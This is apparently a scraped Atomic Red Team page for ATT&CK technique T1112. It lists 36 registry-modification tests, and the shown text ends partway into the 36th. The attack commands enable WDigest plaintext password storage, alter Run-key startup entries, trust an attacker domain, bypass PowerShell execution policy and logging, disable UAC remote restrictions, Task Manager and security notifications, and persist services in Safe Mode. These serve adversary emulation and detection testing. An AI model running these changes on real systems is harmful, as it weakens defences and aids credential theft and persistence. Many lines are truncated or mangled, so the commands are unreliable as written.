

1539 lines (748 loc) · 46.9 KB

# T1112 - Modify Registry

## Description from ATT&CK

Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](#) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.

Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](#) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](#) are required, along with access to the remote system's [SMB/Windows Admin Shares](#) for RPC communication.

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## Atomic Test #1 - Modify Registry of Current User Profile - cmd

Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the new entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 1324796b-d0f6-455a-b4ae-21ffee6aa6b9

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add HKKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
```

**Cleanup Commands:**

```
reg delete HKKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
```

## Atomic Test #2 - Modify Registry of Local Machine - cmd

Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup. This should only be possible when CMD is ran as Administrative rights. Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the modified entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 282f929a-6bc5-42b8-bd93-960c3ba35afe

**Inputs:**

Name	Description	Type	Default Value
new_executable	New executable to run on startup instead of Windows Defender	String	calc.exe

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /t REG_EXI
```

Cleanup Commands:

```
reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v Seci
```

## Atomic Test #3 - Modify registry to store logon credentials

Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping). Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.

Supported Platforms: Windows

auto\_generated\_guid: c0413fb5-33e2-40b7-9b6f-60b29f4a7a18

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogon
```

Cleanup Commands:

```
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogon
```

# Atomic Test #4 - Add domain to Trusted sites Zone

Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365. Upon execution, details of the new registry entries will be displayed. Additionally, open Registry Editor to view the modified entry in HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap.

<https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf>

Supported Platforms: Windows

auto\_generated\_guid: cf447677-5a4e-4937-a82c-e47d254afd57

Inputs:

Name	Description	Type	Default Value
bad_domain	Domain to add to trusted site zone	String	bad-domain.com

Attack Commands: Run with powershell !

```
$key= "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains"
$name = "bad-subdomain"
new-item $key -Name $name -Force
new-itemproperty $key$name -Name https -Value 2 -Type DWORD;
new-itemproperty $key$name -Name http -Value 2 -Type DWORD;
new-itemproperty $key$name -Name * -Value 2 -Type DWORD;
```

Cleanup Commands:

```
$key = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains"
Remove-item $key -Recurse -ErrorAction Ignore
```

## Atomic Test #5 - Javascript in registry

Upon execution, a javascript block will be placed in the registry for persistence. Additionally, open Registry Editor to view the modified entry in HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 15f44ea9-4571-4837-be9e-802431a7bfae

**Attack Commands:** Run with `powershell` !

```
New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Setting: 
```

**Cleanup Commands:**

```
Remove-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Sett: 
```

## Atomic Test #6 - Change Powershell Execution Policy to Bypass

Attackers need to change the powershell execution policy in order to run their malicious powershell scripts. They can either specify it during the execution of the powershell script or change the registry value for it.

**Supported Platforms:** Windows

**auto\_generated\_guid:** f3a6cceb-06c9-48e5-8df8-8867a6814245

**Inputs:**

Name	Description	Type	Default Value
default_execution_policy	Specify the default poweshell execution policy	String	Default

### Attack Commands: Run with `powershell` !

```
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine
```



### Cleanup Commands:

```
try { Set-ExecutionPolicy -ExecutionPolicy #{default_execution_policy} -Scope Local
```



## Atomic Test #7 - BlackByte Ransomware Registry Changes - CMD

This task recreates the steps taken by BlackByte ransomware before it worms to other machines. See "Preparing to Worm" section: <https://redcanary.com/blog/blackbyte-ransomware/> The steps are as follows:

1. Elevate Local Privilege by disabling UAC Remote Restrictions
2. Enable OS to share network connections between different privilege levels
3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file names and paths

The registry keys and their respective values will be created upon successful execution.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 4f4e2f9f-6209-4fcf-9b15-3b7455706f5b

### Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ,  
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ,  
cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEn
```



### Cleanup Commands:



```
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v Local
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v Enable
reg delete HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\ /v LongPathsEnabled /-
```

## Atomic Test #8 - BlackByte Ransomware Registry Changes - Powershell

This task recreates the steps taken by BlackByte ransomware before it worms to other machines via Powershell. See "Preparing to Worm" section: <https://redcanary.com/blog/blackbyte-ransomware/> The steps are as follows:

1. Elevate Local Privilege by disabling UAC Remote Restrictions
2. Enable OS to share network connections between different privilege levels
3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file names and paths

The registry keys and their respective values will be created upon successful execution.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 0b79c06f-c788-44a2-8630-d69051f1123d

**Attack Commands:** Run with **powershell** ! Elevation Required (e.g. root or admin)

```
New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
New-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem" -Name LongPath
```

**Cleanup Commands:**

```
Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
Remove-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem" -Name LongPath
```

## Atomic Test #9 - Disable Windows Registry Tool

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows registry tool to prevent user modifying registry entry. See example how Agent Tesla malware abuses this technique:

<https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry>

**Supported Platforms:** Windows

**auto\_generated\_guid:** ac34b0f7-0f85-4ac0-b93e-3ced2bc69bb8

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system
```

**Cleanup Commands:**

```
powershell Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVers:
```

## Atomic Test #10 - Disable Windows CMD application

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows CMD application. See example how Agent Tesla malware abuses this technique:

<https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry>

**Supported Platforms:** Windows

**auto\_generated\_guid:** d2561a6d-72bd-408c-b150-13efe1801c2a

**Attack Commands:** Run with **powershell** ! Elevation Required (e.g. root or admin)

```
New-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\System" -Name Di: 
```

#### Cleanup Commands:

```
Remove-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\System" -Name 
```

## Atomic Test #11 - Disable Windows Task Manager application

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows task manager application. See example how Agent Tesla malware abuses this technique:

<https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry>

Supported Platforms: Windows

auto\_generated\_guid: af254e70-dd0e-4de6-9afe-a994d9ea8b62

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Syste 
```

#### Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S 
```

## Atomic Test #12 - Disable Windows Notification Center

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows notification center. See how remcos rat abuses this technique-

<https://tccontre.blogspot.com/2020/01/remcos-rat-evading-windows-defender-av.html>


**Supported Platforms:** Windows

**auto\_generated\_guid:** c0d6d67f-1f63-42cc-95c0-5fd6b20082ad

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer /v DisableN 
```

**Cleanup Commands:**

```
reg delete HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer /v Disab 
```

## Atomic Test #13 - Disable Windows Shutdown Button

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows shutdown button. See how ransomware abuses this technique-

<https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom.msil.screenlocker.a/>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 6e0d1131-2d7e-4905-8ca5-d6172f05d03d

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Sys 
```

**Cleanup Commands:**

```
reg delete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\! 
```

## Atomic Test #14 - Disable Windows LogOff Button


Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows logoff button. See how ransomware abuses this technique-

[https://www.trendmicro.com/vinfo/be/threat-encyclopedia/search/js\\_noclose.e/2](https://www.trendmicro.com/vinfo/be/threat-encyclopedia/search/js_noclose.e/2)


**Supported Platforms:** Windows

**auto\_generated\_guid:** e246578a-c24d-46a7-9237-0213ff86fb0c

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor" 
```

**Cleanup Commands:**

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor"
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor" 
```

## Atomic Test #15 - Disable Windows Change Password Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows change password feature. See how ransomware abuses this technique-

[https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom\\_heartbleed.thdobah](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom_heartbleed.thdobah)

**Supported Platforms:** Windows

**auto\_generated\_guid:** d4a6da40-618f-454d-9a9e-26af552aaeb0

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" 
```

### Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S
```

## Atomic Test #16 - Disable Windows Lock Workstation Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows Lock workstation feature. See how ransomware abuses this technique-

<https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 3dacb0d2-46ee-4c27-ac1b-f9886bf91a56

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Syste
```

### Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S
```

## Atomic Test #17 - Activate Windows NoDesktop Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to hide all icons on Desktop Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how Trojan abuses this technique- <https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 93386d41-525c-4a1b-8235-134a628dee17

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
```

**Cleanup Commands:**

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
```

## Atomic Test #18 - Activate Windows NoRun Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Remove Run menu from Start Menu Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how Trojan abuses this technique- <https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis>

**Supported Platforms:** Windows

**auto\_generated\_guid:** d49ff3cc-8168-4123-b5b3-f057d9abbd55

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
```

**Cleanup Commands:**

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
```

## Atomic Test #19 - Activate Windows NoFind Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Remove Search menu from Start Menu Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how Trojan abuses this technique- <https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis>

**Supported Platforms:** Windows

**auto\_generated\_guid:** ffbb407e-7f1d-4c95-b22e-548169db1fbd

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
```

**Cleanup Commands:**

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
```

## Atomic Test #20 - Activate Windows NoControlPanel Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Disable Control Panel Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how Trojan abuses this technique- <https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis>

**Supported Platforms:** Windows

**auto\_generated\_guid:** a450e469-ba54-4de1-9deb-9023a6111690

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
```



### Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E: 
```

## Atomic Test #21 - Activate Windows NoFileMenu Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Remove File menu from Windows Explorer Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how Trojan abuses this technique- <https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis>

Supported Platforms: Windows

auto\_generated\_guid: 5e27bdb4-7fd9-455d-a2b5-4b4b22c9dea4

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl 
```

### Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E: 
```

## Atomic Test #22 - Activate Windows NoClose Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Disable and remove the Shut Down command Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how Trojan abuses this technique- <https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 12f50e15-dbc6-478b-a801-a746e8ba1723

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explr
```

**Cleanup Commands:**

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

## Atomic Test #23 - Activate Windows NoSetTaskbar Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Disable changes to Taskbar and Start Menu Settings Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how ransomware abuses this technique- <https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details>

**Supported Platforms:** Windows

**auto\_generated\_guid:** d29b7faf-7355-4036-9ed3-719bd17951ed

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explr
```

## Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E: 
```

## Atomic Test #24 - Activate Windows NoTrayContextMenu Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Disable context menu for taskbar Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how ransomware abuses this technique-

<https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details>

Supported Platforms: Windows

auto\_generated\_guid: 4d72d4b1-fa7b-4374-b423-0fe326da49d2

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl: 
```

## Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E: 
```

## Atomic Test #25 - Activate Windows NoPropertiesMyDocuments Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to hide Properties from "My Documents icon" Group Policy. Take note that some Group Policy changes might require a

restart to take effect. See how ransomware abuses this technique-

<https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 20fc9daa-bd48-4325-9aff-81b967a84b1d

**Attack Commands:** Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor" 
```

**Cleanup Commands:**

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor" 
```

## Atomic Test #26 - Hide Windows Clock Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Hide Clock Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how ransomware abuses this technique-

<https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 8023db1e-ad06-4966-934b-b6a0ae52689e

**Attack Commands:** Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor" 
```

**Cleanup Commands:**

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E: 
```

## Atomic Test #27 - Windows HideSCAHealth Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to remove security and maintenance icon Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how ransomware abuses this technique-

<https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details>

Supported Platforms: Windows

auto\_generated\_guid: a4637291-40b1-4a96-8c82-b28f1d73e54e

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl: 
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E: 
```

## Atomic Test #28 - Windows HideSCANetwork Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to remove the networking icon Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how ransomware abuses this technique-

<https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 3e757ce7-eca0-411a-9583-1c33b8508d52

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
```

**Cleanup Commands:**

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

## Atomic Test #29 - Windows HideSCAPower Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to remove the battery icon Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how ransomware abuses this technique-

<https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 8d85a5d8-702f-436f-bc78-fcd9119496fc

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
```

**Cleanup Commands:**

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

## Atomic Test #30 - Windows HideSCAVolume Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to remove the volume icon Group Policy. Take note that some Group Policy changes might require a restart to take effect.. See how ransomware abuses this technique-

<https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 7f037590-b4c6-4f13-b3cc-e424c5ab8ade

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor" 
```

**Cleanup Commands:**

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor" 
```

## Atomic Test #31 - Windows Modify Show Compress Color And Info Tip Registry

Modify the registry of the currently logged in user using reg.exe via cmd console to show compress color and show tips feature. See how hermeticwiper uses this technique -

[https://www.splunk.com/en\\_us/blog/security/detecting-hermeticwiper.html](https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html)

**Supported Platforms:** Windows

**auto\_generated\_guid:** 795d3248-0394-4d4d-8e86-4e8df2a2693f

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowIcons /t REG_DWORD /d 1
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowIcons /t REG_DWORD /d 1
```

Cleanup Commands:

```
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowIcons /f
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowIcons /f
```

## Atomic Test #32 - Windows Powershell Logging Disabled

Modify the registry of the currently logged in user using reg.exe via cmd console to disable Powershell Module Logging, Script Block Logging, Transcription and Script Execution see [https://admx.help/?Category=Windows\\_10\\_2016&Policy=Microsoft.Policies.PowerShell::EnableModuleLogging](https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.PowerShell::EnableModuleLogging)

Supported Platforms: Windows

auto\_generated\_guid: 95b25212-91a7-42ff-9613-124aca6845a8

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0
reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0
reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscription /t REG_DWORD /d 0
reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell /v EnableScripts /t REG_DWORD /d 0
REM do a little cleanup immediately to avoid execution issues with later tests
reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell /v EnableScripts /f
```

Cleanup Commands:

```
reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /v EnableModuleLogging /f
reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging /v EnableScriptBlockLogging /f
reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscription /f
```



## Atomic Test #33 - Windows Add Registry Value to Load Service in Safe Mode without Network

Modify the registry to allow a driver, service, to persist in Safe Mode. see <https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/> and <https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/> for further details. Adding a subkey to Minimal with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode without networking. The same applies for the Network subkey.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 1dd59fb3-1cb3-4828-805d-cf80b4c3bbb5

**Attack Commands:** Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AtomicSafeMode" /VI
```

**Cleanup Commands:**

```
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AtomicSafeMode"
```

## Atomic Test #34 - Windows Add Registry Value to Load Service in Safe Mode with Network

Modify the registry to allow a driver, service, to persist in Safe Mode with networking. see <https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/> and <https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/> for further details. Adding a subkey to Netowrk with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode with networking.

**Supported Platforms:** Windows

**auto\_generated\_guid:** c173c948-65e5-499c-afbe-433722ed5bd4

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AtomicSafeMode" /VI
```

**Cleanup Commands:**

```
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AtomicSafeMode"
```

## Atomic Test #35 - Disable Windows Toast Notifications

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows toast notification. See how azorult malware abuses this technique- <https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 003f466a-6010-4b15-803a-cbb478a314d7

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotificati
```

**Cleanup Commands:**

```
reg delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifici
```

## Atomic Test #36 - Disable Windows Security Center Notifications

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows security center notification. See how azorult malware abuses this technique-

<https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 45914594-8df6-4ea9-b3cc-7eb9321a807e

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
